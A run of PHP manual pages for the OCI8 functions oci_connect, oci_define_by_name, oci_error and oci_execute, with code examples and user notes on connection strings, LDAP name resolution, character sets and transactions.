  • oci_rollback() - Rolls back the outstanding database transaction

User Contributed Notes

There are no user contributed notes for this page.


Connect to an Oracle database

  • « oci_commit
  • oci_define_by_name »
  • PHP Manual
  • OCI8 Functions
  • Connect to an Oracle database

oci_connect

(PHP 5, PECL OCI8 >= 1.1.0)

oci_connect — Connect to an Oracle database

Description

resource oci_connect ( string $username , string $password [, string $connection_string [, string $character_set [, int $session_mode ]]] )

Returns a connection identifier needed for most other OCI8 operations.

See Connection Handling for general information on connection management and connection pooling.

From PHP 5.1.2 (PECL OCI8 1.1) oci_close() can be used to close the connection.

The second and subsequent calls to oci_connect() with the same parameters will return the connection handle returned from the first call. This means that transactions in one handle are also in the other handles, because they use the same underlying database connection. If two handles need to be transactionally isolated from each other, use oci_new_connect() instead.

Parameters

username

The Oracle user name.

password

The password for username.

connection_string

Contains the Oracle instance to connect to. It can be an » Easy Connect string, or a Connect Name from the tnsnames.ora file, or the name of a local Oracle instance.

If not specified, PHP uses environment variables such as TWO_TASK (on Linux) or LOCAL (on Windows) and ORACLE_SID to determine the Oracle instance to connect to.

To use the Easy Connect naming method, PHP must be linked with Oracle 10g or greater Client libraries. The Easy Connect string for Oracle 10g is of the form: [//]host_name[:port][/service_name]. From Oracle 11g, the syntax is: [//]host_name[:port][/service_name][:server_type][/instance_name]. Service names can be found by running the Oracle utility lsnrctl status on the database server machine.

The tnsnames.ora file can be in the Oracle Net search path, which includes $ORACLE_HOME/network/admin and /etc. Alternatively set TNS_ADMIN so that $TNS_ADMIN/tnsnames.ora is read. Make sure the web daemon has read access to the file.

character_set

Determines the character set used by the Oracle Client libraries. The character set does not need to match the character set used by the database. If it doesn't match, Oracle will do its best to convert data to and from the database character set. Depending on the character sets this may not give usable results. Conversion also adds some time overhead.

If not specified, the Oracle Client libraries determine a character set from the NLS_LANG environment variable.

Passing this parameter can reduce the time taken to connect.

session_mode

This parameter is available since version PHP 5 (PECL OCI8 1.1) and accepts the following values: OCI_DEFAULT, OCI_SYSOPER and OCI_SYSDBA. If either OCI_SYSOPER or OCI_SYSDBA were specified, this function will try to establish privileged connection using external credentials. Privileged connections are disabled by default. To enable them you need to set oci8.privileged_connect to On.

PHP 5.3 (PECL OCI8 1.3.4) introduced the OCI_CRED_EXT mode value. This tells Oracle to use External or OS authentication, which must be configured in the database. The OCI_CRED_EXT flag can only be used with username of "/" and a empty password. oci8.privileged_connect may be On or Off.

OCI_CRED_EXT may be combined with the OCI_SYSOPER or OCI_SYSDBA modes.

OCI_CRED_EXT is not supported on Windows for security reasons.

Return Values

Returns a connection identifier or FALSE on error.

Examples

Example #1 Basic oci_connect() using Easy Connect syntax

<?php

// Connects to the XE service (i.e. database) on the "localhost" machine
$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 Basic oci_connect() using a Network Connect name

<?php

// Connects to the MYDB database described in tnsnames.ora file,
// One example tnsnames.ora entry for MYDB could be:
//   MYDB =
//     (DESCRIPTION =
//       (ADDRESS = (PROTOCOL = TCP)(HOST = mymachine.oracle.com)(PORT = 1521))
//       (CONNECT_DATA =
//         (SERVER = DEDICATED)
//         (SERVICE_NAME = XE)
//       )
//     )

$conn = oci_connect('hr', 'welcome', 'MYDB');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #3 oci_connect() with an explicit character set

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE', 'AL32UTF8');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #4 Using multiple calls to oci_connect()

<?php

$c1 = oci_connect("hr", "welcome", 'localhost/XE');
$c2 = oci_connect("hr", "welcome", 'localhost/XE');

// Both $c1 and $c2 show the same PHP resource id meaning they use the
// same underlying database connection
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

function create_table($conn)
{
    $stmt = oci_parse($conn, "create table hallo (test varchar2(64))");
    oci_execute($stmt);
    echo "Created table<br>\n";
}

function drop_table($conn)
{
    $stmt = oci_parse($conn, "drop table hallo");
    oci_execute($stmt);
    echo "Dropped table<br>\n";
}

function insert_data($connname, $conn)
{
    $stmt = oci_parse($conn, "insert into hallo
              values(to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
    oci_execute($stmt, OCI_DEFAULT);
    echo "$connname inserted row without committing<br>\n";
}

function rollback($connname, $conn)
{
    oci_rollback($conn);
    echo "$connname rollback<br>\n";
}

function select_data($connname, $conn)
{
    $stmt = oci_parse($conn, "select * from hallo");
    oci_execute($stmt, OCI_DEFAULT);
    echo "$connname ----selecting<br>\n";
    while (oci_fetch($stmt)) {
        echo "    " . oci_result($stmt, "TEST") . "<br>\n";
    }
    echo "$connname ----done<br>\n";
}

create_table($c1);

insert_data('c1', $c1);   // Insert a row using c1
sleep(2);                 // sleep to show a different timestamp for the 2nd row
insert_data('c2', $c2);   // Insert a row using c2

select_data('c1', $c1);   // Results of both inserts are returned
select_data('c2', $c2);   // Results of both inserts are returned

rollback('c1', $c1);      // Rollback using c1

select_data('c1', $c1);   // Both inserts have been rolled back
select_data('c2', $c2);

drop_table($c1);

// Closing one of the connections makes the PHP variable unusable, but
// the other could be used
oci_close($c1);
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

// Output is:
//    c1 is Resource id #5
//    c2 is Resource id #5
//    Created table
//    c1 inserted row without committing
//    c2 inserted row without committing
//    c1 ----selecting
//        09-DEC-09 12:14:43
//        09-DEC-09 12:14:45
//    c1 ----done
//    c2 ----selecting
//        09-DEC-09 12:14:43
//        09-DEC-09 12:14:45
//    c2 ----done
//    c1 rollback
//    c1 ----selecting
//    c1 ----done
//    c2 ----selecting
//    c2 ----done
//    Dropped table
//    c1 is
//    c2 is Resource id #5

?>

Notes

Note:

An incorrectly installed or configured OCI8 extension will often manifest itself as a connection problem or error. See Installing/Configuring for troubleshooting information.

See Also

  • oci_pconnect() - Connect to an Oracle database using a persistent connection
  • oci_new_connect() - Connect to the Oracle server using a unique connection
  • oci_close() - Closes an Oracle connection

User Contributed Notes

blake dot lewis at gmail dot com 09-Mar-2013 12:10
Using ldap for Oracle name resolution:

  The web server will need the environmental variable TNS_ADMIN='Directory of tnsname.ora' unless the default location is used. I use '/etc/tns_admin'. Confirm using the phpinfo().

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_server_fqdn:port)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The quick part: give it a tnsnames.ora file and start it up. The dirty parts: I can't get Toad and SQLDeveloper to work with it, it ignores the domain and it is no longer being maintained.

  The order of values in NAMES.DIRECTORY_PATH in sqlnet.ora determines which look up 'adapter' is used, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  If connecting with only ORACLE_SID and not ORACLE_SID.DB_DOMAIN, the value of NAMES.DEFAULT_DOMAIN from sqlnet.ora is appended, then for some reason PHP tries the HOSTNAME adapter, and if the database name resolves in DNS, it will fail connecting using the database name as the hostname, because neither SID nor SERVICE_NAME are defined.
  If using tnsManager append '.ANY_DOMAIN' to $ORACLE_SID to hack around the issue above.

  I have tested with:
       11.1.0.7 full client and PHP 5.1.6
       11.2.0.2 full client and PHP 5.4.11

  I have heard that LDAP lookup does not work with older instantclients.
blake dot lewis at gmail dot com 16-Feb-2013 08:38
Using ldap for Oracle name resolution:

  The web server needs the environmental variable TNS_ADMIN='Directory of tnsname.ora'. I use '/etc/tns_admin'. Confirm using the phpinfo() function.

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_fqdn_hostname:1575)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The default port is 1575.

  The order of values in NAMES.DIRECTORY_PATH from sqlnet.ora determines which look up 'adapter' is used first, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  For some reason PHP tries the HOSTNAME adapter first, and if the database name resolves in DNS, it will try connecting using the database name as the hostname with no SID or SERVICE_NAME defined. All other Oracle clients I have used will not try the HOSTNAME adapter unless it is listed in NAMES.DIRECTORY_PATH.
  I have heard that LDAP look up does not work with older instantclients.
Anonymous 11-Feb-2012 03:33
How to connect from PHP to an Oracle database using OID (Oracle Internet Directory):

OID is like a lookup index that contains connection strings for connecting to various databases. Without OID, a database connection string would be stored directly in the code settings and used by the PHP code to connect to a database. With OID, a lookup can be made to the OID LDAP to acquire the database connection string. Then the PHP code will use the acquired database connection string to connect to the database as before.

OID allows a DBA to manage/change which database server that an application uses without having to change any database settings in the PHP application itself or on the application server.

Here are the basic steps for PHP to connect to a database via OID:

- The DBA should provide you the connection information for the OID LDAP as well as the username/password for the database connection.
- Connect to the OID LDAP using the provided information
- Search for the appropriate LDAP record
- Get the connection string data from the record attribute, \&quot;orclnetdescstring\&quot;
- Close the LDAP connection
- Use the acquired connection string data to connect to the database as usual using the provided database username/password.

Here is basic sample code to do this:

// Get connection string from OID LDAP

    $ds=ldap_connect($servername,$serverport); // Connect to ldap
    $r=ldap_bind($ds); // Bind to ldap
    $sr = ldap_search($ds, \&quot;cn=OracleContext,dc=___,dc=___,dc=___\&quot;, \&quot;cn=$sid\&quot;); // Run query
    $info = ldap_get_entries($ds, $sr); // Get entries
    ldap_close($ds); // Close connection

    $dbconnectstring = $info[0][\&quot;orclnetdescstring\&quot;][0]; // Extract db connect string from ldap search result array

// Connect to database using acquired connection string from OID

    $dbconnection = oci_connect ($username,$password,$dbconnectstring);
peter at goldthorp dot com 08-Aug-2011 12:28
I started getting "ORA-12514: TNS:listener does not currently know of service requested in connect descriptor" errors when I upgraded my database instance from 10.2 to 11.2.  For some reason it would not resolve the oci_connect calls with the Easy Connect syntax (easy connect calls from sqlplus were fine).  I was able to workaround the issue by passing a tns connect string:

<?php
$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = oci_connect("name","password",$db);
?>
jtacon at php dot net 07-Feb-2011 02:24
If you upgrades the OCI8, be sure to use the latest oracle instantclient version, otherwise you can receive an "ORA-24315: illegal attribute type" when trying to connect due to incompatibility with some versions.

HTH,
Javier Tacón
Jonathon Robinson 15-Jun-2010 08:12
Regarding the following statement in the documentation:
"The second and subsequent calls to oci_connect() with the same parameters will return the connection handle returned from the first call."

There's one caveat here.  Subsequent calls to oci_connect() will only return the same connection handle as the first call as long as a reference is held to the original handle.

For example, the following code will generate *one* connection handle:

<?php
$dbh = oci_connect($username, $password, $conn_info);
// Do stuff
$dbh = oci_connect$username, $password, $conn_info);
// Do more stuff

The follow code will generate *two* connection handles:
getData();
// Do stuff
getData();
// Do more stuff

getData() {
    $dbh = oci_connect($username, $password, $conn_info);
    // Do stuff
}
?>

This is the result of PHP garbage collecting the handle at the end of the method scope.

If you want to isolate your DB layer through function calls but still want to leverage the fact that oci_connect can return the same handle, just keep a reference to the handle like so:

<?php
getData($username, $password, $conn_info) {
    $dbh = oci_connect($username, $password, $conn_info);
    $key = hash('md5', "$username|$password|$conn_info");
    $GLOBALS[$key] = $dbh;
    // Do stuff
}
?>

I originally logged this as a bug but apparently this is the expected behaviour, likely because oci_close($dbh) just calls unset($dbh).
drew dot carmichael at gmail dot com 03-Jul-2009 10:55
When using the OCI_CRED_EXT in php
if the ENV $ORACLE_SID is set the DB does not need to be specified explicitly and the connection will fail unless you provide a NULL DB value when creating the connection.

The $ORACLE_SID trumps the TNS name look up for the connection. So even a manual connection string in the DB parameter will fail.

So when the $ORACLE_SID Env is set a NULL passed instead of the DB name connects successfully.

Hope this saves some hair pulling when moving to %.3 and OS Authentications
Leandro da Cunha Campos 11-May-2009 08:04
ONE ALTERNATIVE OF CONNECT IN ORACLE RAC "Real Application Clusters"

<?php
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip1)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco1)))";

$dbstr1 ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip2)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco2)))";

if(!@($conn = oci_connect('user','password',$dbstr1)))
{ $conn = oci_connect('user','password',$dbstr) or die (ocierror()); }
?>
sixd at php dot net 01-Jul-2008 01:33
If you want to specify a connection timeout in case there is network problem, you can edit the client side (e.g. PHP side) sqlnet.ora file and set SQLNET.OUTBOUND_CONNECT_TIMEOUT. This sets the upper time limit for establishing a connection right through to the DB, including the time for attempts to connect to other services.   It is available from Oracle 10.2.0.3 onwards.

In Oracle 11.1, a slightly lighter-weight solution TCP.CONNECT_TIMEOUT was introduced.  It also is a sqlnet.ora parameter.  It bounds just the TCP connection establishment time, which is mostly where connection problem are seen.

The client sqlnet.ora file should be put in the same directory as the tnsnames.ora file.
sebastien.barbieri _at_ gmail dot com 13-Sep-2006 06:42
When you are using Oracle 9.2+ I would say that you MUST use the CHARSET parameter.

Of course, you will not notice it until there is accented character... so just specify it and you will avoid a big headache.

So for example here is our Oracle internal conf:
select * from nls_database_parameters;

PARAMETER                      VALUE
------------------------------ ----------------------------------------
…
NLS_LANGUAGE                   AMERICAN
NLS_TERRITORY                  AMERICA
NLS_ISO_CURRENCY               AMERICA
NLS_CHARACTERSET               WE8ISO8859P15
…

And there our oci_connect call:

$dbch=ocilogon($user,$pass,$connectString,"WE8ISO8859P15");

Without that, you will get question mark (inversed), squares… instead of most accented character.

Don’t forget to use that for writing as well as for reading.
ben at onshop dot co dot uk 14-Jul-2005 02:25
There is a useful solution to the problem of securing connection information in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. They propose using 'SetEnv' in the Apache configuration and then accessing the values from within a script using $_SERVER.

Unfortunately using the 'SetEnv' solution exposes your connection information to all users of that virtual host. If they run phpinfo.php or display $_SERVER, I found that they will see the password from any file under the root of that virtual host.

To restrict exposure to a particular directory or specific file:

1. First put an 'Include' to the secret file in httpd.conf. For example:

Include "/web/private/secret.txt"

2. In the password file, use the 'SetEnvIf' directive to enable the Environment variables by directory only or within a specific file. For example:

- For all files in the directory:

SetEnvIf Request_URI "/path/to/my/directory" ORACLE_PASS=5gHj790j

- For a specific file in the directory

SetEnvIf Request_URI "/path/to/my/directory/connection.oracle.php" ORACLE_PASS=5gHj790j
M0no at ethonfusino dot com 21-Nov-2002 07:04
If your oracle database is on a remote system within your local network and you don't want to worry about the tnsnames file you can try this.

$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = ocilogon("name","password",$db);

Hope this helps someone.


Associates a PHP variable with a column for query fetches

  • « oci_connect
  • oci_error »
  • PHP Manual
  • OCI8 Functions
  • Associates a PHP variable with a column for query fetches

oci_define_by_name

(PHP 5, PECL OCI8 >= 1.1.0)

oci_define_by_name — Associates a PHP variable with a column for query fetches

Description

bool oci_define_by_name ( resource $statement , string $column_name , mixed &$variable [, int $type = SQLT_CHR ] )

Associates a PHP variable with a column for query fetches using oci_fetch().

The oci_define_by_name() call must occur before executing oci_execute().

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

column_name

The column name used in the query.

Use uppercase for Oracle's default, non-case sensitive column names. Use the exact column name case for case-sensitive column names.

variable

The PHP variable that will contain the returned column value.

type

The data type to be returned. Generally not needed. Note that Oracle-style data conversions are not performed. For example, SQLT_INT will be ignored and the returned data type will still be SQLT_CHR.

You can optionally use oci_new_descriptor() to allocate LOB/ROWID/BFILE descriptors.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_define_by_name() example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// The defines MUST be done before executing
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// Each fetch populates the previously defined variables with the next row's data
while (oci_fetch($stid)) {
    echo "Location id $locid is $city<br>\n";
}

// Displays:
//   Location id 1000 is Roma
//   Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_define_by_name() with case sensitive column names

<?php

/*
  Before running, create the table with a case sensitive column name:
    CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
    INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// Use uppercase for non case-sensitive column names
oci_define_by_name($stid, 'ID', $id);

// Use the exact case for case-sensitive column names
oci_define_by_name($stid, 'MyDescription', $mydesc);

oci_execute($stid);

while (oci_fetch($stid)) {
    echo "id $id is $mydesc<br>\n";
}

// Displays:
//   id 1 is Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_define_by_name() with LOB columns

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, fruit CLOB);
    INSERT INTO mytab (id, fruit) values (1, 'apple');
    INSERT INTO mytab (id, fruit) values (2, 'orange');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// The defines MUST be done before executing
oci_define_by_name($stid, 'ID', $id);
oci_define_by_name($stid, 'FRUIT', $fruit);  // $fruit will become a LOB descriptor

oci_execute($stid);

while (oci_fetch($stid)) {
    echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// Displays:
//   1 is apple
//   2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

Example #4 oci_define_by_name() with an explicit type

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, fruit CLOB);
    INSERT INTO mytab (id, fruit) values (1, 'apple');
    INSERT INTO mytab (id, fruit) values (2, 'orange');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// The defines MUST be done before executing
oci_define_by_name($stid, 'ID', $id);

$fruit = oci_new_descriptor($conn, OCI_D_LOB);
oci_define_by_name($stid, 'FRUIT', $fruit, OCI_D_CLOB);

oci_execute($stid);

while (oci_fetch($stid)) {
    echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// Displays:
//   1 is apple
//   2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_new_descriptor() - Initializes a new empty LOB or FILE descriptor

User Contributed Notes

There are no user contributed notes for this page.


Returns the last error found

  • « oci_define_by_name
  • oci_execute »
  • PHP Manual
  • OCI8 Functions
  • Returns the last error found

oci_error

(PHP 5, PECL OCI8 >= 1.1.0)

oci_error — Returns the last error found

Description

array oci_error ([ resource $resource ] )

Returns the last error found.

The function should be called immediately after an error occurs. Errors are cleared by a successful statement.

Parameters

resource

For most errors, resource is the
resource handle that was passed to the failing function call.
For connection errors with oci_connect(),
oci_new_connect() or
oci_pconnect() do not pass resource.

Return Values

If no error is found, oci_error() returns FALSE. Otherwise, oci_error() returns the error information as an associative array.

oci_error() Array Description
Array key | Type | Description
code | integer | The Oracle error number.
message | string | The Oracle error text.
offset | integer | The byte position of an error in the SQL statement. If there was no statement, this is 0
sqltext | string | The SQL statement text. If there was no statement, this is an empty string.

Examples

Example #1 Displaying the Oracle error message after a connection error

<?php
$conn = oci_connect("hr", "welcome", "localhost/XE");
if (!$conn) {
    $e = oci_error();   // For oci_connect errors do not pass a handle
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Example #2 Displaying the Oracle error message after a parsing error

<?php
$stid = oci_parse($conn, "select ' from dual");  // note mismatched quote
if (!$stid) {
    $e = oci_error($conn);  // For oci_parse errors pass the connection handle
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Example #3 Displaying the Oracle error message, the problematic statement, and the position of the problem of an execution error

<?php
$stid = oci_parse($conn, "select does_not_exist from dual");
$r = oci_execute($stid);
if (!$r) {
    $e = oci_error($stid);  // For oci_execute errors pass the statement handle
    print htmlentities($e['message']);
    print "\n<pre>\n";
    print htmlentities($e['sqltext']);
    printf("\n%".($e['offset']+1)."s", "^");
    print  "\n</pre>\n";
}
?>

User Contributed Notes

alvaro at demogracia dot com 08-Aug-2014 07:41
Please note that, unlike equivalent functions in other DB extensions, skipping the resource argument is not synonym for "just get last error".


Executes a statement

  • « oci_error
  • oci_fetch_all »
  • PHP Manual
  • OCI8 Functions
  • Executes a statement

oci_execute

(PHP 5, PECL OCI8 >= 1.1.0)

oci_execute — Executes a statement

Description

bool oci_execute ( resource $statement [, int $mode = OCI_COMMIT_ON_SUCCESS ] )

Executes a statement previously returned from oci_parse().

After execution, statements like INSERT will have data committed to the database by default. For statements like SELECT, execution performs the logic of the query. Query results can subsequently be fetched in PHP with functions like oci_fetch_array().

Each parsed statement may be executed multiple times, saving the cost of re-parsing. This is commonly used for INSERT statements when data is bound with oci_bind_by_name().

Parameters

statement

A valid OCI statement identifier.

mode

An optional second parameter can be one of the following constants:

Execution Modes
Constant | Description
OCI_COMMIT_ON_SUCCESS | Automatically commit all outstanding changes for this connection when the statement has succeeded. This is the default.
OCI_DESCRIBE_ONLY | Make query meta data available to functions like oci_field_name() but do not create a result set. Any subsequent fetch call such as oci_fetch_array() will fail.
OCI_NO_AUTO_COMMIT | Do not automatically commit changes. Prior to PHP 5.3.2 (PECL OCI8 1.4) use OCI_DEFAULT which is equivalent to OCI_NO_AUTO_COMMIT.

Using OCI_NO_AUTO_COMMIT mode starts or continues a transaction. Transactions are automatically rolled back when the connection is closed, or when the script ends. Explicitly call oci_commit() to commit a transaction, or oci_rollback() to abort it.

When inserting or updating data, using transactions is recommended for relational data consistency and for performance reasons.

If OCI_NO_AUTO_COMMIT mode is used for any statement including queries, and oci_commit() or oci_rollback() is not subsequently called, then OCI8 will perform a rollback at the end of the script even if no data was changed. To avoid an unnecessary rollback, many scripts do not use OCI_NO_AUTO_COMMIT mode for queries or PL/SQL. Be careful to ensure the appropriate transactional consistency for the application when using oci_execute() with different modes in the same script.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_execute() for queries

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 oci_execute() without specifying a mode example

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');

oci_execute($stid); // The row is committed and immediately visible to other users

?>

Example #3 oci_execute() with OCI_NO_AUTO_COMMIT example

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $i, 10);
for ($i = 1; $i <= 5; ++$i) {
    oci_execute($stid, OCI_NO_AUTO_COMMIT);  // use OCI_DEFAULT for PHP <= 5.3.1
}
oci_commit($conn);  // commits all new values: 1, 2, 3, 4, 5

?>

Example #4 oci_execute() with different commit modes example

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');
oci_execute($stid, OCI_NO_AUTO_COMMIT);  // data not committed

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (456)');
oci_execute($stid);  // commits both 123 and 456 values

?>

Example #5 oci_execute() with OCI_DESCRIBE_ONLY example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM locations');
oci_execute($s, OCI_DESCRIBE_ONLY);
for ($i = 1; $i <= oci_num_fields($stid); ++$i) {
    echo oci_field_name($stid, $i) . "<br>\n";
}

?>

Notes

Note:

Transactions are automatically rolled back when connections are closed, or when the script ends, whichever is soonest. Explicitly call oci_commit() to commit a transaction.

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

Any Oracle DDL statement such as CREATE or DROP will automatically commit any uncommitted transaction.

Note:

Because the oci_execute() function generally sends the statement to the database, oci_execute() can identify some statement syntax errors that the lightweight, local oci_parse() function does not.

See Also

  • oci_parse() - Prepares an Oracle statement for execution

User Contributed Notes

filipesampaio at hotmail dot com 05-Apr-2011 02:21
Just to write it down. I was trying to do a simple SELECT on a Caché (http://www.intersystems.com/cache/) table through an Oracle dblink, but always received the error "ORA-01002: fetch out of sequence". The solution was using OCI_NO_AUTO_COMMIT on the oci_execute function.
tower98 at gmail dot com 25-Aug-2010 10:35
Notice (PHP 5.2.12-pl0-gentoo):
You can parse empty query, you can execute empty query (returns true), but you cannot fetch data from empty query. So, if you provide query as variable, make sure it isn't empty.

<?php
$q = oci_parse($c, "");
if($q != false){
    // parsing empty query != false
    if(oci_execute($q){
        // executing empty query != false
        if(oci_fetch_all($q, $data, 0, -1, OCI_FETCHSTATEMENT_BY_ROW) == false){
            // but fetching executed empty query results in error (ORA-24338: statement handle not executed)
            $e = oci_error($q);
            echo $e['message'];
        }
    }
    else{
        $e = oci_error($q);
        echo $e['message'];
    }
}
else{
    $e = oci_error($link);
    echo $e['message'];
}
?>


Fetches multiple rows from a query into a two-dimensional array

  • « oci_execute
  • oci_fetch_array »
  • PHP Manual
  • OCI8 Functions
  • Fetches multiple rows from a query into a two-dimensional array

oci_fetch_all

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_all — Fetches multiple rows from a query into a two-dimensional array

Description

